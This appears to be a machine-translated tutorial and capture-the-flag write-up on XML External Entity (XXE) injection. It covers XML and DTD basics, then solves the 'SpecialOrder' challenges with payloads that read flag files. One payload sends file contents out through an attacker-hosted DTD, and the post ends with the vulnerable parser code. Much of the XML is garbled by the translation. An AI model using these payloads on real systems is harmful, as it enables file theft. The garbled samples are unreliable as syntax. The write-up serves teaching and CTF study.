This paper involves knowledge points and practice: XXE vulnerability analysis and practice (through the experiment to understand the basic knowledge of XXE vulnerability and demonstration practice.)
0 x01. Xxe loopholes
XML External Entity Injection vulnerability XXE vulnerability occurs when the application parses XML input and does not prohibit the loading of External entities, resulting in the loading of malicious External files. Files are read, commands are executed, Intranet ports are scanned, Intranet websites are attacked, and DOS attacks are launched. Xxe vulnerability is usually triggered by the location where XML files can be uploaded. The uploaded XML files are not filtered, leading to the uploading of malicious XML files.
0 x02. XML definition
XML consists of three parts: Document Type Definition (DTD), which is the layout language of XML; Extensible Style Language (XSL), the Style sheet Language for XML; And Extensible Link Language (XLL).
0 x02. The role of XML
XML uses elements and attributes to describe data. XML always preserves data structures such as parent/child relationships during data transfer. Several applications can share and parse the same XML file without the traditional string parsing or unpacking process. The basic grammar
- All XML elements must have a close tag.
- XML tags are case-sensitive.
- XML must be properly nested.
- XML documents must have a root element.
- XML attribute values must be quoted.
- Entity reference (in the tag attribute, and the corresponding position value may appear <> symbol, but these symbols have special meaning in the corresponding XML, at this time we must use the corresponding HTML entity representation, such as < fu fu corresponding entity is
<
The entity corresponding to the > symbol is>
) - Annotations in XML. The syntax for writing annotations in XML is very similar to HTML syntax. (
<! -- -->
) - In XML, Spaces are preserved and multiple Spaces are not merged into one.
The following is an example:
<? The XML version = "1.0" encoding = "utf-8"? > <! -- Siphiwe Siphiwe --> <! DOCTYPE file name [<!ENTITY name "ENTITY content ">]> <! - ⬆ document type definition (DTD) ⬆ - > < element name category = "properties" > text or other elements < element name > <! -- Siphiwe Siphiwe -->Copy the code
0x03.xml Format description
XML is a source language that allows users to define their own markup language. XML is used to mark electronic files with a structured markup language, which can be used to mark data and define data types. XML document structure includes XML declarations, DTD document type definitions (optional), and document elements.
<? The XML version = "1.0" encoding = "utf-8"? > <! -- XML declaration --> <! DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]><! -- <note> <to>xxe</to> <from> LJPM </from> <heading>Text</heading> <body>Only test! </body> </note><! -- Document element -->Copy the code
0x04.DTD
Document Type definitions (DTDS) define legal XML document building blocks. It uses a set of legal elements to define the structure of the document. A DTD can be declared as a line in an XML document or as an external reference. An XML document instance with a DTD
1. The external DTD
<? The XML version = "1.0" encoding = "utf-8"? > <! -- XML declaration --> <! DOCTYPE root-element SYSTEM "test.dtd"> <note> <to>xxe</to> <from>ljpm</from> <heading>Text</heading> <body>Only test! </body> </note><! -- Document element -->Copy the code
test.dtd
<! ELEMENT to (#PCDATA)> <! ELEMENT from (#PCDATA)> <! ELEMENT heading (#PCDATA)> <! ELEMENT body (#PCDATA)>Copy the code
0X05.DTD data type
- PCDATA stands for parsed character data /
- PCDATA means parsed character data, and PCDATA is text that is parsed by the parser
- CDATA stands for character data
- CDATA is text that is not parsed by the parser, tags in which are not treated as tags, and entities in which are not expanded.
0x06.DTD Entity Introduction
Internal entities
<? The XML version = "1.0" encoding = "utf-8"? > <! -- XML declaration --> <! DOCTYPE note[ <!ELEMENT note (name,pwd)> <!ENTITY name "admin"> <!ENTITY pwd "admin"> ]> <note> <name>&name; </name> <pwd>&pwd; </pwd> </note><! -- Document element -->Copy the code
The results are as follows:
2. External entities
<? The XML version = "1.0" encoding = "utf-8"? > <! -- XML declaration --> <! DOCTYPE note[ <!ENTITY user SYSTEM "test.xml"> ]> <note>&user; </note><! -- Document element -->Copy the code
Parameter entity + external entity
test.xml
<? The XML version = "1.0" encoding = "utf-8"? > <! -- XML declaration --> <! DOCTYPE note [ <!ENTITY % user "admin"> <!ENTITY % pwd "admin"> <!ENTITY % ljpm SYSTEM "./dddd.dtd"> %ljpm; ] > <note>&people; </note><! -- Document element -->Copy the code
dddd.dtd
<! ENTITY people "%user; %pwd;" >Copy the code
PS: %name(parameter entity) is referenced in the DTD, while &name; Is referenced in an XML document. XXE primarily exploits a vulnerability caused by DTD references to external entities.
0x07. How to determine whether a website has XXE vulnerability
The most straightforward way is to capture a packet with burp, and then, modify the HTTP request method, modify the Content-Type header field, and so on, to see if the response to the returned packet has been parsed, and if it has, it could be an XXE vulnerability.
0x08. The following is an example:
1. Experimental environment
SpecialOrder
2. The analysis
The homepage login environment will be redirected to a login screen:
The environment has a registration option where we first register a user and then log in:
There are several routes in the upper right corner of the home page, representing several functions that we can try out. There is a similar to blog under the http://192.168.153.128:5000/create-post url submitted box, there may be stored XSS
Tried it, XSS does not exist
At http://192.168.153.128:5000/customize we can we create posts add the style for the above:
The result after adding the styles is as follows:
From the above results we can customize the CSS style parameters of the post:
* {
font-size: 51px;
color: red;
}
Copy the code
As for 51px above; Why not 50px; I don’t know about QAQ either. There are only two functions in this environment, the function of Posting and the function of modifying the style. The function of Posting probably has no bugs, but the modification of the style is more suspicious. We can use BurpSuite to capture and analyze the packages.
The data Type sent is Content-Type: application/json. Let’s change it to Content-Type: application/ XML to see if XML is accepted.
It returns no error, so it is xmL-supported. Refresh the page to verify:
Now let’s try XML injection:
The results are as follows:
This is the payload of the flag. TXT file.
<? The XML version = "1.0" encoding = "utf-8"? > <! DOCTYPE root [ <!ENTITY file SYSTEM "file:///app/flag.txt"> ]> <root> <color>&file; </color> <size>40px</size> </root>Copy the code
0x09.Special Order pt2
0x41414141 CTF this question is an update of the previous question. It allows an external DTD file to be loaded. Therefore, the payload is as follows
<? The XML version = "1.0" encoding = "utf-8"? > <! DOCTYPE root [ <!ENTITY % file SYSTEM "file:///flag.txt"> <!ENTITY % xxe SYSTEM "http://ip/payload.dtd"> %xxe; ] > <root> <color>&send; </color> <size>40px</size> </root>Copy the code
It’s on our server
<! ENTITY % all "<! ENTITY send SYSTEM 'http://ip/? %file; '>"> %all;Copy the code
0x08 Problematic part of the code in the environment
elif request.content_type == "application/xml" or request.content_type == "text/xml":
print(request.data)
parser = etree.XMLParser()
k = etree.fromstring(request.data, parser)
post_color = ""
post_size = ""
w = ""
for i in k.getchildren():
if i.tag == "color":
post_color = i.text
elif i.tag == "size":
post_size = i.text
if db.session.query(settings_map).filter_by(username=session['username']).first():
db.session.query(settings_map).filter_by(username=session['username']).update({"size": post_size, "color": post_color})
db.session.commit()
return "DONE :D"
else:
engine.execute(settings_table.insert(), username=session['username'], color=post_color, size=post_size)
return "DONE :D"
Copy the code
There’s no filtration.